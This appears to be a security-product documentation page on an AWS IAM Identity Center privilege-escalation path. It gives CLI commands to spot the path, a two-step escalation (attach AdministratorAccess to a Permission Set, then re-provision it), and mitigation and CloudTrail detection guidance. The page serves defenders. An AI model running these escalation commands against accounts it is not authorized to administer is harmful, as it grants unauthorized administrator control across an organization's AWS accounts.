> For the complete documentation index, see [llms.txt](https://docs.forestall.io/fsprotect/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.forestall.io/fsprotect/edges/aws/aws_sso_update_permission_set.md).

# AWS\_SSO\_UPDATE\_PERMISSION\_SET

## Summary

|                            |                                                                                                                                                                              |
| -------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| **Forestall ACL Alias**    | AWS\_SSO\_UPDATE\_PERMISSION\_SET                                                                                                                                            |
| **Affected Object Types**  | `AWSIAMUser\|AWSIAMRole → AWSPermissionSet`                                                                                                                                  |
| **Exploitation Certainty** | High                                                                                                                                                                         |
| **AWS IAM Action**         | `sso:PutInlinePolicyToPermissionSet` \| `sso:AttachManagedPolicyToPermissionSet` \| `sso:AttachCustomerManagedPolicyReferenceToPermissionSet` + `sso:ProvisionPermissionSet` |

## Description

> **Account gate:** This edge is only emitted for IAM principals that reside in the Organizations **management account** or an IAM Identity Center **delegated-administrator account** (service principal `sso.amazonaws.com`). Principals in any other member account receive `AccessDenied` from all SSO Admin APIs regardless of their IAM permissions.

An attacker who can modify a Permission Set's policy and re-provision it can escalate privileges for every principal that holds that Permission Set. They expand the policy, then call `sso:ProvisionPermissionSet` to push the change to all assigned accounts at once.

This is a **consolidated** privesc edge. Any one of the three policy-attachment actions is enough when paired with `sso:ProvisionPermissionSet` on the same Permission Set ARN. Those actions are `sso:PutInlinePolicyToPermissionSet`, `sso:AttachManagedPolicyToPermissionSet`, and `sso:AttachCustomerManagedPolicyReferenceToPermissionSet`.

**Edge semantics:** `(Attacker:AWSIAMUser|AWSIAMRole) -[AWS_SSO_UPDATE_PERMISSION_SET]-> (Target:AWSPermissionSet)`

Precondition: the target Permission Set must have at least one account assignment. Without an assignment, provisioning has no effect.

## Identification

```bash
# List all permission sets in Identity Center
aws sso-admin list-permission-sets \
  --instance-arn <instance-arn>

# Check who can attach policies to a permission set
aws iam simulate-principal-policy \
  --policy-source-arn <attacker-arn> \
  --action-names sso:AttachManagedPolicyToPermissionSet sso:ProvisionPermissionSet \
  --resource-arns <permission-set-arn>

# View existing account assignments for a permission set
aws sso-admin list-account-assignments \
  --instance-arn <instance-arn> \
  --account-id <account-id> \
  --permission-set-arn <permission-set-arn>
```

PowerShell (AWS Tools):

```powershell
Get-SSOAdminPermissionSetList -InstanceArn "<instance-arn>"
```

## Exploitation

```bash
# Step 1: Attach an administrator managed policy to the permission set
aws sso-admin attach-managed-policy-to-permission-set \
  --instance-arn <instance-arn> \
  --permission-set-arn <permission-set-arn> \
  --managed-policy-arn arn:aws:iam::aws:policy/AdministratorAccess

# Step 2: Re-provision the permission set to all assigned accounts
aws sso-admin provision-permission-set \
  --instance-arn <instance-arn> \
  --permission-set-arn <permission-set-arn> \
  --target-type ALL_PROVISIONED_ACCOUNTS
```

## Mitigation

* Restrict `sso:PutInlinePolicyToPermissionSet`, `sso:AttachManagedPolicyToPermissionSet`, `sso:AttachCustomerManagedPolicyReferenceToPermissionSet`, and `sso:ProvisionPermissionSet` to dedicated Identity Center administrator roles. Deny these actions for all other principals.
* Use SCPs to block modification of Permission Sets assigned to privileged accounts.
* Enforce permission boundaries on Permission Sets so that policy changes cannot exceed the boundary, even if the policy itself is rewritten.
* Apply least-privilege policies to all Permission Sets. Avoid attaching `AdministratorAccess` unless there is no narrower alternative.
* Enable AWS IAM Identity Center audit logging. Alert on any Permission Set policy change that is followed by a provisioning event.

## Detection

| CloudTrail Event                                      | Description                                               | Key Fields                                                                                     |
| ----------------------------------------------------- | --------------------------------------------------------- | ---------------------------------------------------------------------------------------------- |
| `AttachManagedPolicyToPermissionSet`                  | A managed policy was attached to a Permission Set         | `requestParameters.permissionSetArn`, `requestParameters.managedPolicyArn`, `userIdentity.arn` |
| `PutInlinePolicyToPermissionSet`                      | An inline policy was added or updated on a Permission Set | `requestParameters.permissionSetArn`, `requestParameters.inlinePolicy`, `userIdentity.arn`     |
| `AttachCustomerManagedPolicyReferenceToPermissionSet` | A customer-managed policy was attached                    | `requestParameters.permissionSetArn`, `userIdentity.arn`                                       |
| `ProvisionPermissionSet`                              | The Permission Set was provisioned to accounts            | `requestParameters.permissionSetArn`, `requestParameters.targetType`, `userIdentity.arn`       |

Alert when a Permission Set policy is modified and a provisioning event follows within a short window. Pay extra attention if that Permission Set is assigned to privileged accounts.

## References

* [AWS IAM Identity Center: Manage Permission Sets](https://docs.aws.amazon.com/singlesignon/latest/userguide/permissionsetsconcept.html)
* [AWS SSO Admin API: AttachManagedPolicyToPermissionSet](https://docs.aws.amazon.com/singlesignon/latest/APIReference/API_AttachManagedPolicyToPermissionSet.html)
* [AWS SSO Admin API: ProvisionPermissionSet](https://docs.aws.amazon.com/singlesignon/latest/APIReference/API_ProvisionPermissionSet.html)
* [HackTricks: AWS IAM Identity Center Privilege Escalation](https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-iam-identity-center-privesc)
* [Rhino Security Labs: AWS Privilege Escalation Methods](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)